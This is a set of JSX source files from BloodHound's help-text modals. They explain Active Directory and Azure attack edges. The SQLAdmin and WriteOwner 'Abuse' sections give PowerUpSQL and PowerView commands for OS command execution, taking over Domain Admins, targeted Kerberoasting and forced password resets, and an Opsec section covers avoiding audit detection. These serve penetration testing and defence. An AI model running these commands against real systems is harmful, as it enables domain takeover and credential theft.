<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
Contains.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default Contains;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/Contains/Contains.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 248 |
```jsx
import React from 'react';
const References = () => {
rerturn(
<>
<a href='path_to_url
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/Contains/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 59 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the
DS-Replication-Get-Changes-All privilege on the domain{' '}
{targetName}.
</p>
<p>
Individually, this edge does not grant the ability to perform an
attack. However, in conjunction with DS-Replication-Get-Changes,
a principal may perform a DCSync attack.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GetChangesAll/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 174 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const GetChangesAll = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
GetChangesAll.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default GetChangesAll;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GetChangesAll/GetChangesAll.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 282 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const SQLAdmin = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General sourceName={sourceName} targetName={targetName} />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
SQLAdmin.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default SQLAdmin;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SQLAdmin/SQLAdmin.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 234 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const General = ({ sourceName, targetName }) => {
return (
<>
<p>
The user {sourceName} is a SQL admin on the computer{' '}
{targetName}.
</p>
<p>
There is at least one MSSQL instance running on {targetName}{' '}
where the user {sourceName} is the account configured to run the
SQL Server instance. The typical configuration for MSSQL is to
have the local Windows account or Active Directory domain
account that is configured to run the SQL Server service (the
primary database engine for SQL Server) have sysadmin privileges
in the SQL Server application. As a result, the SQL Server
service account can be used to log into the SQL Server instance
remotely, read all of the databases (including those protected
with transparent encryption), and run operating systems command
through SQL Server (as the service account) using a variety of
techniques.
</p>
<p>
For Windows systems that have been joined to an Active Directory
domain, the SQL Server instances and the associated service
account can be identified by executing a LDAP query for a list
of "MSSQLSvc" Service Principal Names (SPN) as a domain user. In
short, when the Database Engine service starts, it attempts to
register the SPN, and the SPN is then used to help facilitate
Kerberos authentication.
</p>
<p>Author: Scott Sutherland</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SQLAdmin/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 369 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#sqlserver'>
path_to_url#sqlserver
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SQLAdmin/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 139 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
Prior to executing operating system commands through SQL Server,
review the audit configuration and choose a command execution
method that is not being monitored.
</p>
<p>View audits:</p>
<pre>
<code>{'SELECT * FROM sys.dm_server_audit_status'}</code>
</pre>
<p>View server specifications:</p>
<pre>
<code>
{'SELECT audit_id, \n' +
'a.name as audit_name, \n' +
's.name as server_specification_name, \n' +
'd.audit_action_name, \n' +
's.is_state_enabled, \n' +
'd.is_group, \n' +
'd.audit_action_id, \n' +
's.create_date, \n' +
's.modify_date \n' +
'FROM sys.server_audits AS a \n' +
'JOIN sys.server_audit_specifications AS s \n' +
'ON a.audit_guid = s.audit_guid \n' +
'JOIN sys.server_audit_specification_details AS d \n' +
'ON s.server_specification_id = d.server_specification_id'}
</code>
</pre>
<p>View database specifications:</p>
<pre>
<code>
{'SELECT a.audit_id, \n' +
'a.name as audit_name, \n' +
's.name as database_specification_name, \n' +
'd.audit_action_name, \n' +
'd.major_id,\n' +
'OBJECT_NAME(d.major_id) as object,\n' +
's.is_state_enabled, \n' +
'd.is_group, s.create_date, \n' +
's.modify_date, \n' +
'd.audited_result \n' +
'FROM sys.server_audits AS a \n' +
'JOIN sys.database_audit_specifications AS s \n' +
'ON a.audit_guid = s.audit_guid \n' +
'JOIN sys.database_audit_specification_details AS d \n' +
'ON s.database_specification_id = d.database_specification_id'}
</code>
</pre>
<p>
If server audit specifications are configured on the SQL Server,
event ID 15457 logs may be created in the Windows Application
log when SQL Server level configurations are changed to
facilitate OS command execution.
</p>
<p>
If database audit specifications are configured on the SQL
Server, event ID 33205 logs may be created in the Windows
Application log when Agent and database level configuration
changes are made.
</p>
<p>
A summary of the what will show up in the logs, along with the
TSQL queries for viewing and configuring audit configurations
can be found at
<a>
path_to_url
</a>
.
</p>
<p>Author: Scott Sutherland</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SQLAdmin/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 691 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
Scott Sutherland (
<a href='path_to_url from
NetSPI has authored PowerUpSQL, a PowerShell Toolkit for
Attacking SQL Server. Major contributors include Antti
Rantasaari, Eric Gruber (
<a href='path_to_url and Thomas Elling
(<a href='path_to_url
Before executing any of the below commands, download PowerUpSQL
and load it into your PowerShell instance. Get PowerUpSQL here:{' '}
<a href='path_to_url
path_to_url
</a>
.
</p>
<h4>Finding Data</h4>
<p>Get a list of databases, sizes, and encryption status:</p>
<pre>
<code>
{
'Get-SQLDatabaseThreaded Verbose -Instance sqlserver\\instance Threads 10 -NoDefaults'
}
</code>
</pre>
<p>Search columns and data for keywords:</p>
<pre>
<code>
{
'Get-SQLColumnSampleDataThreaded Verbose -Instance sqlserver\\instance Threads 10 Keyword "card, password" SampleSize 2 ValidateCC -NoDefaults | ft -AutoSize'
}
</code>
</pre>
<h4>Executing Commands</h4>
<p>
Below are examples of PowerUpSQL functions that can be used to
execute operating system commands on remote systems through SQL
Server using different techniques. The level of access on the
operating system will depend largely what privileges are
provided to the service account. However, when domain accounts
are configured to run SQL Server services, it is very common to
see them configured with local administrator privileges.
</p>
<p>xp_cmdshell Execute Example:</p>
<pre>
<code>
{
'Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10 -Instance sqlserver\\instance'
}
</code>
</pre>
<p>Agent Job Execution Examples:</p>
<pre>
<code>
{
'Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\\windows\\temp\\test1.txt" -Instance sqlserver\\instance -username myuser -password mypassword'
}
</code>
</pre>
<pre>
<code>
{
'Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command \'write-output "hello world" | out-file c:\\windows\\temp\\test2.txt\' -Sleep 20 -Instance sqlserver\\instance -username myuser -password mypassword'
}
</code>
</pre>
<pre>
<code>
{
"Invoke-SQLOSCmdAgentJob -Verbose -SubSystem VBScript -Command 'c:\\windows\\system32\\cmd.exe /c echo hello > c:\\windows\\temp\\test3.txt' -Instance sqlserver\\instance -username myuser -password mypassword"
}
</code>
</pre>
<pre>
<code>
{
"Invoke-SQLOSCmdAgentJob -Verbose -SubSystem JScript -Command 'c:\\windows\\system32\\cmd.exe /c echo hello > c:\\windows\\temp\\test3.txt' -Instance sqlserver\\instance -username myuser -password mypassword"
}
</code>
</pre>
<p>Python Subsystem Execution:</p>
<pre>
<code>
{
'Invoke-SQLOSPython -Verbose -Command "Whoami" -Instance sqlserver\\instance'
}
</code>
</pre>
<p>R subsystem Execution Example</p>
<pre>
<code>
{
'Invoke-SQLOSR -Verbose -Command "Whoami" -Instance sqlserver\\instance'
}
</code>
</pre>
<p>OLE Execution Example</p>
<pre>
<code>
{
'Invoke-SQLOSOle -Verbose -Command "Whoami" -Instance sqlserver\\instance'
}
</code>
</pre>
<p>CLR Execution Example</p>
<code>
{
'Invoke-SQLOSCLR -Verbose -Command "Whoami" -Instance sqlserver\\instance'
}
</code>
<p>Custom Extended Procedure Execution Example:</p>
<p>1. Create a custom extended stored procedure.</p>
<pre>
<code>
{
'Create-SQLFileXpDll -Verbose -OutFile c:\\temp\\test.dll -Command "echo test > c:\\temp\\test.txt" -ExportName xp_test'
}
</code>
</pre>
<p>
2. Host the test.dll on a share readable by the SQL Server
service account.
</p>
<pre>
<code>
{
"Get-SQLQuery -Verbose -Query \"sp_addextendedproc 'xp_test', '\\\\yourserver\\yourshare\\myxp.dll'\" -Instance sqlserver\\instance"
}
</code>
</pre>
<p>3. Run extended stored procedure</p>
<pre><code>{'Get-SQLQuery -Verbose -Query "xp_test" -Instance sqlserver\\instance'}</code></pre>
<p>4. Remove extended stored procedure.</p>
<pre><code>{'Get-SQLQuery -Verbose -Query "sp_dropextendedproc \'xp_test\'" -Instance sqlserver\\instance'}</code></pre>
<p>Author: Scott Sutherland</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SQLAdmin/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,266 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const General = ({ sourceName, targetName }) => {
return (
<>
<p>
The domain {sourceName} is trusted by the domain {targetName}.
</p>
<p>
This edge is informational and does not indicate any attacks,
only that a trust exists.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/TrustedBy/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 110 |
```jsx
import React from 'react';
const Abuse = () => {
return <p>There is no abuse associated with this edge.</p>;
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/TrustedBy/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 34 |
```jsx
import React from 'react';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const TrustedBy = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General sourceName={sourceName} targetName={targetName} />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
TrustedBy.propTypes = {};
export default TrustedBy;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/TrustedBy/TrustedBy.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 200 |
```jsx
import React from 'react';
const References = () => {
return <></>;
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/TrustedBy/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 23 |
```jsx
import React from 'react';
const Opsec = () => {
return <p>There is no opsec associated with this edge</p>;
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/TrustedBy/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 37 |
```jsx
import React from 'react';
const General = () => {
return (
<p>The ability to add other principals to an Azure security group</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAddMembers/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 40 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZAddMembers = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZAddMembers.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZAddMembers;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAddMembers/AZAddMembers.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 227 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url#add-azureadgroup'>
path_to_url#add-azureadgroup
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAddMembers/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 79 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>Via the Azure portal:</p>
<ol>
<li>
Find the group in your tenant (Azure Active Directory ->
Groups -> Find Group in list)
</li>
<li>Click the group from the list</li>
<li>In the left pane, click "Members"</li>
<li>At the top, click "Add members"</li>
<li>
Find the principals you want to add to the group and click
them, then click "select" at the bottom
</li>
<li>
You should see a message in the top right saying "Member
successfully added"
</li>
</ol>
<p>
Via PowerZure: Add-AzureADGroup -User [UPN] -Group [Group name]
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAddMembers/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 213 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
The Azure activity log for the tenant will log who added what
principal to what group, including the date and time.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAddMembers/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 59 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the AppRoleAssignment.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 81 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the AppRoleAssignment.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 81 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGAppRoleAssignment_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGAppRoleAssignment_ReadWrite_All.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGAppRoleAssignment_ReadWrite_All;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/AZMGAppRoleAssignment_ReadWrite_All.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 240 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the AppRoleAssignment.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAppRoleAssignment_ReadWrite_All/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 83 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat, typeFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the ability to
modify the owner of the {typeFormat(targetType)} {targetName}.
</p>
<p>
Object owners retain the ability to modify object security
descriptors, regardless of permissions on the object's DACL.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteOwner/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 161 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const WindowsAbuse = ({
sourceName,
sourceType,
targetName,
targetType,
targetId,
}) => {
switch (targetType) {
case 'Group':
return (
<>
<p>
To change the ownership of the object, you may use the
Set-DomainObjectOwner function in PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObjectOwner,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObjectOwner, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Set-DomainObjectOwner -Credential $Cred -TargetIdentity "Domain Admins" -OwnerIdentity harmj0y'
}
</code>
</pre>
<p>
To abuse ownership of a user object, you may grant
yourself the AddMember privilege. This can be
accomplished using the Add-DomainObjectAcl function in
PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Domain Admins" -Rights WriteMembers'
}
</code>
</pre>
<p>
You can now add members to the group using the net
binary or PowerView's Add-DomainGroupMember.
</p>
<p>
There are at least two ways to execute this attack. The
first and most obvious is by using the built-in net.exe
binary in Windows (e.g.: net group "Domain Admins"
harmj0y /add /domain). See the opsec considerations tab
for why this may be a bad idea. The second, and highly
recommended method, is by using the
Add-DomainGroupMember function in PowerView. This
function is superior to using the net.exe binary in
several ways. For instance, you can supply alternate
credentials, instead of needing to run a process as or
logon as the user with the AddMember privilege.
Additionally, you have much safer execution options than
you do with spawning net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's
Add-DomainGroupMember, first import PowerView into your
agent session or into a PowerShell instance at the
console. You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainGroupMember,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainGroupMember, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
"Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred"
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to
the group with PowerView's Get-DomainGroupMember:
</p>
<pre>
<code>
{"Get-DomainGroupMember -Identity 'Domain Admins'"}
</code>
</pre>
<p>
Cleanup for this can be done using
Remove-DomainObjectAcl
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl - Credential $cred -TargetIdentity "Domain Admins" -Rights WriteMembers'
}
</code>
</pre>
<p>
Cleanup for the owner can be done by using
Set-DomainObjectOwner once again
</p>
</>
);
case 'User':
return (
<>
<p>
To change the ownership of the object, you may use the
Set-DomainObjectOwner function in PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObjectOwner,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObjectOwner, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Set-DomainObjectOwner -Credential $Cred -TargetIdentity dfm -OwnerIdentity harmj0y'
}
</code>
</pre>
<p>
To abuse ownership of a user object, you may grant
yourself the GenericAll privilege. This can be
accomplished using the Add-DomainObjectAcl function in
PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All'
}
</code>
</pre>
<h4> Targeted Kerberoast </h4>
<p>
A targeted kerberoast attack can be performed using
PowerView's Set-DomainObject along with
Get-DomainSPNTicket.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObject, first
create a PSCredential object (these examples comes from
the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObject, optionally specifying $Cred
if you are not already running a process as {sourceName}
:
</p>
<pre>
<code>
{
"Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}"
}
</code>
</pre>
<p>
After running this, you can use Get-DomainSPNTicket as
follows:
</p>
<pre>
<code>
{
'Get-DomainSPNTicket -Credential $Cred harmj0y | fl'
}
</code>
</pre>
<p>
The recovered hash can be cracked offline using the tool
of your choice. Cleanup of the ServicePrincipalName can
be done with the Set-DomainObject command:
</p>
<pre>
<code>
{
'Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname'
}
</code>
</pre>
<h4>Force Change Password </h4>
<p>
There are at least two ways to execute this attack. The
first and most obvious is by using the built-in net.exe
binary in Windows (e.g.: net user dfm.a Password123!
/domain). See the opsec considerations tab for why this
may be a bad idea. The second, and highly recommended
method, is by using the Set-DomainUserPassword function
in PowerView. This function is superior to using the
net.exe binary in several ways. For instance, you can
supply alternate credentials, instead of needing to run
a process as or logon as the user with the
ForceChangePassword privilege. Additionally, you have
much safer execution options than you do with spawning
net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's
Set-DomainUserPassword, first import PowerView into your
agent session or into a PowerShell instance at the
console. You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainUserPassword,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then create a secure string object for the password you
want to set on the target user:
</p>
<pre>
<code>
{
"$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force"
}
</code>
</pre>
<p>
Finally, use Set-DomainUserPassword, optionally
specifying $Cred if you are not already running a
process as {sourceName}:
</p>
<pre>
<code>
{
'Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred'
}
</code>
</pre>
<p>
Now that you know the target user's plain text password,
you can either start a new agent as that user, or use
that user's credentials in conjunction with PowerView's
ACL abuse functions, or perhaps even RDP to a system the
target user has access to. For more ideas and
information, see the references tab.
</p>
<p>
Cleanup of the added ACL can be performed with
Remove-DomainObjectAcl:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity harmj0y -Rights All'
}
</code>
</pre>
<p>
Cleanup for the owner can be done by using
Set-DomainObjectOwner once again
</p>
</>
);
case 'Computer':
return (
<>
<p>
To change the ownership of the object, you may use the
Set-DomainObjectOwner function in PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObjectOwner,
